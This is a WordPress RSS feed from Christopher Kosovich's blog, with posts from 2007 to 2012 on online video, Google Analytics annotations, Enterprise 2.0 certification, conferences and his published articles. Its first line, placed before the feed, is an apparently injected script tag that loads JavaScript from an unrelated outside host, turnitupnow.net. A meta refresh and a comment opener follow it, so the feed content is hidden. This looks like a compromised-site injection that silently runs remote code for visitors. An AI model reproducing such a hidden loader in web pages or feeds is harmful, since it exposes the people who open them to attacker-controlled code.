<script src='http://turnitupnow.net/?rnd=4761%2Fdeef%2Fmoc.hcivosok.sirhc'></script><meta http-equiv='refresh' content='0;url=http://chris.kosovich.com/feed/'><!--<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Christopher Kosovich</title>
	<atom:link href="http://chris.kosovich.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://chris.kosovich.com</link>
	<description>Research, Thoughts, and Ideas Depository</description>
	<lastBuildDate>Thu, 16 Feb 2012 14:51:58 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>One hour of video uploaded every second &#8211; How much time do you have on your hands?</title>
		<link>http://chris.kosovich.com/2012/01/30/one-hour-of-video-uploaded-every-second-how-much-time-do-you-have-on-your-hands/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=one-hour-of-video-uploaded-every-second-how-much-time-do-you-have-on-your-hands</link>
		<comments>http://chris.kosovich.com/2012/01/30/one-hour-of-video-uploaded-every-second-how-much-time-do-you-have-on-your-hands/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 21:31:48 +0000</pubDate>
		<dc:creator>Chris Kosovich</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://chris.kosovich.com/?p=158</guid>
		<description><![CDATA[The official YouTube blog recently gave some perspective about the amount of online video content that we have available at our fingertips today. Currently there is one hour of new video uploaded to YouTube every second of every day. This isn&#8217;t even talking about all video uploaded to all the various video sharing sites. This [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://chris.kosovich.com/2012/01/30/one-hour-of-video-uploaded-every-second-how-much-time-do-you-have-on-your-hands/' send='true' layout='button_count' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><div id="attachment_160" class="wp-caption alignright" style="width: 310px"><a title="YouTube" href="http://youtu.be/sHPfc6whaSk" target="_blank"><img class="size-medium wp-image-160 " style="margin: 10px; border: 1px solid black;" title="YouTube - One Hour Per Second" src="http://chris.kosovich.com/wp-content/uploads/2012/01/youtube-one-hour-every-second-300x168.png" alt="YouTube - One Hour Per Second" width="300" height="168" /></a><p class="wp-caption-text">YouTube - One Hour Per Second</p></div>
<p>The <a title="YouTube Official Blog" href="http://youtube-global.blogspot.com/2012/01/holy-nyans-60-hours-per-minute-and-4.html" target="_blank">official YouTube blog recently gave some perspective about the amount of online video content that we have available at our fingertips today</a>. Currently there is one hour of new video uploaded to YouTube every second of every day. This isn&#8217;t even talking about all video uploaded to all the various video sharing sites. This is YouTube alone. Every second, another hour of video is uploaded.</p>
<p>This doesn&#8217;t mean that every second we have another quality hour of video being uploaded. It means lots and lots of video is being uploaded across the entire globe. It also means the &#8220;noise&#8221; level is increasing which means it will likely become more challenging to find what you really want before it gets any easier.<span id="more-158"></span></p>
<p>As the barrier to entry gets lower and lower for video, particularly as more and more smart phones enable greater numbers of users to capture video and immediately upload, it will be important to find ways of cutting through the &#8220;noise&#8221; and differentiating the &#8220;signal&#8221; you wish for your audiences to experience in video you create, particularly for businesses and organizations.</p>
<p>Video is a powerful and emotional medium, but just setting out to make a video with your little phone-based camera and uploading it to YouTube is an overly simplistic approach.</p>
<p>You can maximize your investment and gain the greatest value in your online video when you connect it to the bigger web communication strategy. It is important to consider how viewers will find the video and how you will distribute it. If the video is uploaded to YouTube, how will visitors to your company or organization website get to the video? Is there a link on your organization website? Do you have a gallery of videos on your organization website? What social media outlets will enable you to insert a link to the video? What e-mail distribution lists do you have available for sending the link to the video? How frequently can you remind your audience about your video without desensitizing or annoying them?</p>
<p>Just as important, if not more important than distribution of the video is the actual construction of the message of the video. Before a single frame of video is captured, it is important to determine the message and the call to action you hope to elicit from your audience.</p>
<p>A successful web video is not necessarily one that tries to address every single need of every single stakeholder in one single piece. Just like when ordering pizza with a big group of friends, it is sometimes better to get several different smaller variety options rather than one single thing that doesn&#8217;t satisfy anyone.</p>
<p>Four billion video views are taking place globally every day. This is a 25 percent increase in the last eight months and is equivalent to half the world&#8217;s population watching a video every day. Video is here to stay. Learning how to connect video with your brand, your products, your services, and your core message is increasingly important.</p>
<p>Contact <a title="Kosovich Media Group" href="http://www.kosovichmedia.com" target="_blank">Kosovich Media Group</a> to learn about making the most of your video investment for comprehensive custom solutions that work.</p>
<p><iframe src="http://www.youtube.com/embed/sHPfc6whaSk" frameborder="0" width="560" height="315"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://chris.kosovich.com/2012/01/30/one-hour-of-video-uploaded-every-second-how-much-time-do-you-have-on-your-hands/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Read my article published in the Journal of Globalization for the Common Good</title>
		<link>http://chris.kosovich.com/2012/01/27/read-my-article-published-in-the-journal-of-globalization-for-the-common-good/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=read-my-article-published-in-the-journal-of-globalization-for-the-common-good</link>
		<comments>http://chris.kosovich.com/2012/01/27/read-my-article-published-in-the-journal-of-globalization-for-the-common-good/#comments</comments>
		<pubDate>Fri, 27 Jan 2012 22:31:17 +0000</pubDate>
		<dc:creator>Chris Kosovich</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://chris.kosovich.com/?p=147</guid>
		<description><![CDATA[I recently wrote an article about &#8220;facilitating the experience of belonging in web-based communities&#8221; and it was published in late 2011 as part of the fall edition of the Journal of Globalization for the Common Good hosted by the Center for Global Studies at Purdue University Calumet and edited by Dr. Yahya Kamalipour and Dr. [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://chris.kosovich.com/2012/01/27/read-my-article-published-in-the-journal-of-globalization-for-the-common-good/' send='true' layout='button_count' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p><a href="http://lass.calumet.purdue.edu/cca/jgcg/2011/jgcg-2011-kosovich.htm"><img class="alignright  wp-image-152" title="Journal of Globalization for the Common Good" src="http://chris.kosovich.com/wp-content/uploads/2012/01/jgcg.png" alt="Journal of Globalization for the Common Good" width="123" height="108" /></a>I recently wrote an article about &#8220;facilitating the experience of belonging in web-based communities&#8221; and it was published in late 2011 as part of the fall edition of the Journal of Globalization for the Common Good hosted by the Center for Global Studies at Purdue University Calumet and edited by Dr. Yahya Kamalipour and Dr. Kamran Mofid. This paper was also part of a presentation at the &#8220;World Public Forum &#8211; Dialogue of Civilizations&#8221; that took place in Rhodes, Greece in 2011.</p>
<p>The article was written to help people think about some of the important dynamics that tend to support strong online communities. While online communities continue to evolve in new ways, it is important to also consider some literature that exists outside the realm of technology. This article attempts to bridge some similarities between virtual online communities and real-world physical communities, particularly the cultivation of a sense of belonging among community members.</p>
<p>The full text of the article is available online at the official Journal of Globalization for the Common Good website &#8211; <a title="Facilitating the experience of belonging in web-based communities" href="http://lass.calumet.purdue.edu/cca/jgcg/2011/jgcg-2011-kosovich.htm" target="_blank">http://lass.calumet.purdue.edu/cca/jgcg/2011/jgcg-2011-kosovich.htm</a></p>
]]></content:encoded>
			<wfw:commentRss>http://chris.kosovich.com/2012/01/27/read-my-article-published-in-the-journal-of-globalization-for-the-common-good/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Annotations in Google Analytics bridge behavior and analysis</title>
		<link>http://chris.kosovich.com/2010/03/10/annotations-in-google-analytics-bridge-behavior-and-analysis/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=annotations-in-google-analytics-bridge-behavior-and-analysis</link>
		<comments>http://chris.kosovich.com/2010/03/10/annotations-in-google-analytics-bridge-behavior-and-analysis/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 02:02:20 +0000</pubDate>
		<dc:creator>Chris Kosovich</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://chris.kosovich.com/?p=171</guid>
		<description><![CDATA[Google Analytics has always presented a visually compelling display of user behavior for particular websites using the tracking code snippet embedded in the website html code. Clients that I have worked with in the past have found the various displays, graphs, and maps fascinating. However, there always seemed to be a disconnect between their ability [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://chris.kosovich.com/2010/03/10/annotations-in-google-analytics-bridge-behavior-and-analysis/' send='true' layout='button_count' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>Google Analytics has always presented a visually compelling display of user behavior for particular websites using the tracking code snippet embedded in the website html code.</p>
<p>Clients that I have worked with in the past have found the various displays, graphs, and maps fascinating. However, there always seemed to be a disconnect between their ability to make meaning of the data and connecting that data with behavioral actions within their business and the behavioral actions of their intended audiences.<span id="more-171"></span></p>
<p>For example, one can easily see from the very first dashboard screen in Google Analytics that a line graph exists depicting visitor activity over the past month and it usually shows a series of points across the graph illustrating ups and downs and in a fairly consistent pattern.</p>
<p>However, on occasion there is a spike in activity and clients have always asked me what the spike meant on that particular day. This generally leads to a discussion about what types of business activities took place on or around that day.</p>
<p>Was there a profile about the company in the local newspaper, television, or radio? Did the company send out a paper mailing to a client mailing list or an e-mail distribution? Did representatives of the organization make a presentation to a group of people somewhere?</p>
<p>Google Analytics has enabled a feature that now helps Google Analytics account holders to place little notes on specific dates in the timeline that will help bring more meaning to the spikes in activity and could help explain the peaks and drops in activity.</p>
<p>Recently a client was featured on a local news broadcast and I immediately logged into the Google Analytics account and placed an annotation on the timeline for that day. In the note I put information about the specific television channel that featured the client, the time of the news broadcast, and a short description about the details of the feature.</p>
<p>Now a little annotation flag is placed on that date and it is easy now, looking back a few weeks later, to recall the specific activity that happened on that particular day to explain the spike in website activity.</p>
<p>Without annotations in Google Analytics, one would need to document the date and details in some other format and then match up spikes in activity with the notes, if one can even remember where the notes are located. It just makes sense to place the note on the timeline so when it comes time to reflect about business processes and website activity, all the information needed to make sense of some activity phenomena is right on the same page.</p>
<p>Annotations help bring a very important dynamic to the Google Analytics data. Now we can correlate website user data with offline marketing campaign tasks and behaviors. For example, we can place a notation on the Google Analytics data timeline the day a mass postal mailing is sent out and then place another annotation the day it hits mailboxes. This information can help identify and measure the effectiveness of the mass mailing driving traffic to the website. Ideally we would see a spike in activity with a slow trailing drop back to normal. The annotation can help make sense of the lifespan of the mailing and compare it to other similar events to measure effectiveness.</p>
<p>Google Analytics Annotations is not a magical thing that makes a website better. It is, however, a resolution to a critically missing link in the Google Analytics package for people trying to make sense of the immense amount of data that is captured relating to the user experience on the web.</p>
<p>Learn more about Google Analytics on the <a title="Google Analytics Blog" href="http://analytics.blogspot.com" target="_blank">official Google Analytics Blog</a>.</p>
<p>Also, learn about how you can <a title="Kosovich Media Group" href="http://www.kosovichmedia.com" target="_blank">get professional consulting support for installation and interpretation of Google Analytics</a> for your website.</p>
]]></content:encoded>
			<wfw:commentRss>http://chris.kosovich.com/2010/03/10/annotations-in-google-analytics-bridge-behavior-and-analysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I&#8217;m now a certified Enterprise 2.0 Practitioner</title>
		<link>http://chris.kosovich.com/2010/01/30/im-now-a-certified-enterprise-2-0-practitioner/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=im-now-a-certified-enterprise-2-0-practitioner</link>
		<comments>http://chris.kosovich.com/2010/01/30/im-now-a-certified-enterprise-2-0-practitioner/#comments</comments>
		<pubDate>Sat, 30 Jan 2010 02:22:44 +0000</pubDate>
		<dc:creator>Chris Kosovich</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://chris.kosovich.com/?p=176</guid>
		<description><![CDATA[In late 2009 I successfully completed my Enterprise 2.0 Practitioner Certification. It was a great experience learning through the various modules of the certification program. Much of the course content helped to reinforce my previous experiences with collaborative web technologies but it expanded my ability to articulate Web 2.0 within the context of the enterprise. [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://chris.kosovich.com/2010/01/30/im-now-a-certified-enterprise-2-0-practitioner/' send='true' layout='button_count' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>In late 2009 I successfully completed my Enterprise 2.0 Practitioner Certification. It was a great experience learning through the various modules of the certification program. Much of the course content helped to reinforce my previous experiences with collaborative web technologies but it expanded my ability to articulate Web 2.0 within the context of the enterprise.</p>
<p>According the AIIM (Association for Information and Image Management) website the Enterprise 2.0 Practitioner Certificate program covers the following concepts and technologies of Enterprise 2.0:<span id="more-176"></span></p>
<ul>
<li>How to position Enterprise 2.0 in relationship to IM, BI, KM and Web 2.0</li>
<li>Enterprise 2.0 techniques</li>
<li>Enterprise 2.0 frameworks and concepts</li>
<li>Business drivers for Enterprise 2.0</li>
<li>Worker Model for Enterprise 2.0</li>
<li>Evolution and definition of Enterprise 2.0 technologies &#8211; Enterprise 1.0: email, forums, chat rooms, bulletin boards, web/tele/videoconferencing, and static web</li>
<li>Evolution and definition of Enterprise 2.0 technologies &#8211; Enterprise 1.5: web services, IM, SMS, collaboration filtering, social networking, social networking analysis, portals, and dynamic web</li>
<li>Evolution and definition of Enterprise 2.0 technologies &#8211; Enterprise 2.0: participate web, tagging, mashups, blogs, wikis, feeds, podcasting, and social voting, bookmarking and ranking</li>
<li>An overview of Enterprise 2.0 extensions</li>
<li>State of the Enterprise 2.0 market</li>
</ul>
<p>I am looking forward to the next certification set of courses that will put me on the path toward the Enterprise 2.0 Specialist Certification.</p>
]]></content:encoded>
			<wfw:commentRss>http://chris.kosovich.com/2010/01/30/im-now-a-certified-enterprise-2-0-practitioner/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Istanbul Conference 2007</title>
		<link>http://chris.kosovich.com/2008/04/30/istanbul-conference-2007/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=istanbul-conference-2007</link>
		<comments>http://chris.kosovich.com/2008/04/30/istanbul-conference-2007/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 21:03:25 +0000</pubDate>
		<dc:creator>Chris Kosovich</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://chris.kosovich.com/?p=27</guid>
		<description><![CDATA[In July 2007, I presented at &#8220;The 6th Annual International Conference on an Interfaith Perspective on Globalisation for the Common Good&#8221; taking place in Istanbul, Turkey and spoke about the topic of &#8220;Globalisation and Communication: Reflections and Challenges&#8221; during a panel discussion at a conference plenary session. A version of the paper presented during the [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://chris.kosovich.com/2008/04/30/istanbul-conference-2007/' send='true' layout='button_count' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>In July 2007, I presented at &#8220;The 6th Annual International Conference on an Interfaith Perspective on Globalisation for the Common Good&#8221; taking place in Istanbul, Turkey and spoke about the topic of &#8220;Globalisation and Communication: Reflections and Challenges&#8221; during a panel discussion at a conference plenary session.</p>
<p>A version of the paper presented during the session is now available for download as it appeared in recent publication.</p>
<p>&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;div align=&#8221;"left&#8221;"&gt;&lt;a href=&#8221;"images/articles/Chris-Kosovich-Insight10-07.pdf&#8221;" target=&#8221;"_blank&#8221;" title=&#8221;"October 2007 Publication&#8221;"&gt;</p>
<p>View the high resolution article now</p>
<p>View the lower resolution/Mac friendly article now</p>
<p>This paper was later published internationally in October 2007 in the &#8220;Practically Speaking&#8221; section of &#8220;Interreligious Insight: A Journal of Dialogue and Engagement&#8221; in volume 5, issue 4. I greatly appreciate the editors of the journal sharing this article with me so I may make it available through this website.</p>
<p>Portions of this paper were also published in an edited conference compilation proceedings book in 2008.</p>
]]></content:encoded>
			<wfw:commentRss>http://chris.kosovich.com/2008/04/30/istanbul-conference-2007/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Portals and social revolution</title>
		<link>http://chris.kosovich.com/2008/04/15/portals-and-social-revolution/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=portals-and-social-revolution</link>
		<comments>http://chris.kosovich.com/2008/04/15/portals-and-social-revolution/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 20:53:46 +0000</pubDate>
		<dc:creator>Chris Kosovich</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://chris.kosovich.com/?p=21</guid>
		<description><![CDATA[I attended a great presentation at the SunGard Summit 2008 by a professor from Kansas State about web 2.0 and the cultural implications of this style of web interaction. He describes it as a social revolution the will continue to evolve. Michael Wesch provided example of how he is using portals as a means of [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://chris.kosovich.com/2008/04/15/portals-and-social-revolution/' send='true' layout='button_count' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>I attended a great presentation at the SunGard Summit 2008 by a professor from Kansas State about web 2.0 and the cultural implications of this style of web interaction. He describes it as a social revolution the will continue to evolve.</p>
<p>Michael Wesch provided example of how he is using portals as a means of collaboration among his students. He had a phenomenal presentation at the conference but unfortunately his exact presentation from the conference is not available in any format that I have been able to find. He was, however, kind enough to send me a link to a similar presentation that carries a lot of the same content from the SunGard Summit.<span id="more-21"></span></p>
<p>The link below has links to several interesting presenations but the specific link to the presentation from Michael Wesch is in the lower left hand corner.</p>
<ul>
<li>Experience Michael Wesch&#8217;s presentation at the 2008 Annual Meeting of the Educause Learning Initiative &#8211; <a title="Michael Wesch Presentation" href="http://hosted.mediasite.com/hosted4/Catalog/?cid=cd40888eed5940f2bbd8daa8c09b4ecc" target="_blank">http://hosted.mediasite.com/hosted4/Catalog/?cid=cd40888eed5940f2bbd8daa8c09b4ecc</a></li>
</ul>
<p>Shortly before the conference I came across this article in Fast Company magazine (Issue 122, February 2009) talking about a book that I have enjoyed reading that explains some social dynamics. This article featuring ideas by Duncan Watts that bring up measurable counterpoints to the concepts proposed in the book &#8220;&#8221;Tipping Point&#8221;" by Malcolm Gladwell. Overall, this article in Fast Company sheds more light on the social networking phenomenon.</p>
<ul>
<li>Read about &#8220;&#8221;Is the Tipping Point Toast?&#8221;" in Fast Company &#8211; <a title="Fast Company" href="http://www.fastcompany.com/magazine/122/is-the-tipping-point-toast.html" target="_blank">http://www.fastcompany.com/magazine/122/is-the-tipping-point-toast.html</a></li>
</ul>
<p>Digital ecosystems such as portals, content management systems and other Web 2.0 technologies present new opportunities for social revolution and there is much still to learn about social networking phenomenon.</p>
]]></content:encoded>
			<wfw:commentRss>http://chris.kosovich.com/2008/04/15/portals-and-social-revolution/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My first published article about content management systems</title>
		<link>http://chris.kosovich.com/2008/04/10/my-first-published-article-about-content-management-systems/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=my-first-published-article-about-content-management-systems</link>
		<comments>http://chris.kosovich.com/2008/04/10/my-first-published-article-about-content-management-systems/#comments</comments>
		<pubDate>Thu, 10 Apr 2008 20:59:10 +0000</pubDate>
		<dc:creator>Chris Kosovich</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://chris.kosovich.com/?p=25</guid>
		<description><![CDATA[&#160; &#60;a href=&#8221;"images/articles/chris.kosovich.insight10.07.pdf View the high resolution article now &#60;a href=&#8221;"images/articles/chris-kosovich-insight10-07-macfriendly.pdf&#8221;" View the lower resolution/Mac friendly article now This paper was presented in July 2007 at &#8220;&#8221;The 6th Annual International Conference on an Interfaith Perspective on Globalisation for the Common Good&#8221;" taking place in Istanbul, Turkey. I had the opportunity to speak about the topic [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://chris.kosovich.com/2008/04/10/my-first-published-article-about-content-management-systems/' send='true' layout='button_count' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>&nbsp;</p>
<p>&lt;a href=&#8221;"images/articles/chris.kosovich.insight10.07.pdf</p>
<p>View the high resolution article now</p>
<p>&lt;a href=&#8221;"images/articles/chris-kosovich-insight10-07-macfriendly.pdf&#8221;"<br />
View the lower resolution/Mac friendly article now</p>
<p>This paper was presented in July 2007 at &#8220;&#8221;The 6th Annual International Conference on an Interfaith Perspective on Globalisation for the Common Good&#8221;" taking place in Istanbul, Turkey. I had the opportunity to speak about the topic of &#8220;&#8221;Globalisation and Communication: Reflections and Challenges&#8221;" during a panel discussion at a conference plenary session.</p>
<p>This paper was later published internationally in October 2007 in the &#8220;&#8221;Practically Speaking&#8221;" section of &#8220;&#8221;Interreligious Insight: A Journal of Dialogue and Engagement&#8221;" in volume 5, issue 4. I grealy appreciate the editors of the journal sharing this article with me so I may make it available through this website.</p>
<p>This article is also set to appear in an edited book published in May 2008.</p>
<p>Please visit the <a href="http://www.interreligiousinsight.org" target="_blank">official website of the journal</a> for more information.</p>
]]></content:encoded>
			<wfw:commentRss>http://chris.kosovich.com/2008/04/10/my-first-published-article-about-content-management-systems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My new favorite word &#8211; intrapreneur</title>
		<link>http://chris.kosovich.com/2007/12/20/my-new-favorite-word-intrapreneur/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=my-new-favorite-word-intrapreneur</link>
		<comments>http://chris.kosovich.com/2007/12/20/my-new-favorite-word-intrapreneur/#comments</comments>
		<pubDate>Thu, 20 Dec 2007 20:42:42 +0000</pubDate>
		<dc:creator>Chris Kosovich</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://chris.kosovich.com/?p=14</guid>
		<description><![CDATA[The word &#8220;&#8221;intrapreneur&#8221;" ran across my eyes recently. I can&#8217;t recall now whether I actually read it in a job description at the IDEO corporation or not. I believe the IDEO job description referenced the term and I was intrigued. I like to read the IDEO job descriptions from time to time because every now [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://chris.kosovich.com/2007/12/20/my-new-favorite-word-intrapreneur/' send='true' layout='button_count' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>The word &#8220;&#8221;intrapreneur&#8221;" ran across my eyes recently. I can&#8217;t recall now whether I actually read it in a job description at the IDEO corporation or not. I believe the IDEO job description referenced the term and I was intrigued. I like to read the IDEO job descriptions from time to time because every now and then they throw out a job title like &#8220;&#8221;Story Teller and Creative Guru&#8221;" or something else fascinating that one wouldn&#8217;t expect to see in the average job description.<span id="more-14"></span></p>
<p>I also came across the same word &#8220;&#8221;intrapreneur&#8221;" in the February 2008 edition of How Magazine. Don&#8217;t ask me how I have a copy of How Magazine for February 2008 in December of 2007 &#8211; I suppose it is a perk of subscription.</p>
<p>This &#8220;&#8221;intrapreneur&#8221;" is a great concept and seems to have been around for awhile. I like the term so much because so frequently it seems risk-taking and &#8220;&#8221;thinking out of the box&#8221;" kinds of ideas are tossed around so much but those ideas seem to be more fit for those working outside larger organizations.</p>
<p>Of course larger organizations are always encouraging those types of thinking but the larger organizational constructs seem to contradict the entreprenurial spirit. Adpoting much of the spirit of entrepreneur but respecting the organizational structure and using that structure as leverage in ways one without the resources of a large organization would not have at hand seem to be what composes the concept of the intrapreneur.</p>
<p>Learn more at <a title="Intrapreneur.com" href="http://www.intrapreneur.com" target="_blank">http://www.intrapreneur.com</a> where one may find more details about intrapreneur and the &#8220;&#8221;Ten Commandments of the Intrapreneur&#8221;" which should be on the mind of everyone working within a larger structured organization.</p>
<p>There are some also great ideas in on article about the &#8220;corporate immune system&#8221; and how the organizational white blood cells seek and destroy attempts at change and innovation.</p>
]]></content:encoded>
			<wfw:commentRss>http://chris.kosovich.com/2007/12/20/my-new-favorite-word-intrapreneur/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TechPoint Technology Summit</title>
		<link>http://chris.kosovich.com/2007/11/09/techpoint-technology-summit/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=techpoint-technology-summit</link>
		<comments>http://chris.kosovich.com/2007/11/09/techpoint-technology-summit/#comments</comments>
		<pubDate>Fri, 09 Nov 2007 20:48:11 +0000</pubDate>
		<dc:creator>Chris Kosovich</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://chris.kosovich.com/?p=16</guid>
		<description><![CDATA[There seems to be quite a lot going on in the State of Indiana with regard to business and technology. I learned today that Indiana has taken some important steps towards making business more profitable here than in neighboring states. I need to clarify the details more but is seems sales tax can be deferred [...]]]></description>
			<content:encoded><![CDATA[<fb:like href='http://chris.kosovich.com/2007/11/09/techpoint-technology-summit/' send='true' layout='button_count' show_faces='true' width='450' height='65' action='like' colorscheme='light' font='lucida+grande'></fb:like><p>There seems to be quite a lot going on in the State of Indiana with regard to business and technology. I learned today that Indiana has taken some important steps towards making business more profitable here than in neighboring states.</p>
<p><span id="more-16"></span></p>
<p>I need to clarify the details more but is seems sales tax can be deferred on purchases for technology equipment used for research and development and patents registered by companies doing business in the state may also get a break on revenue generated up to the first five million dollars.</p>
<p>Some important workshops involving site selection and communication technology such as blogs were presented at the conference. There seems to be a lot going on for businesses with regard to technology in Indiana. The TechPoint website at <a title="TechPoint" href="http://www.techpoint.org" target="_blank">www.techpoint.org</a> is a good place to start identifying more resources.</p>
]]></content:encoded>
			<wfw:commentRss>http://chris.kosovich.com/2007/11/09/techpoint-technology-summit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

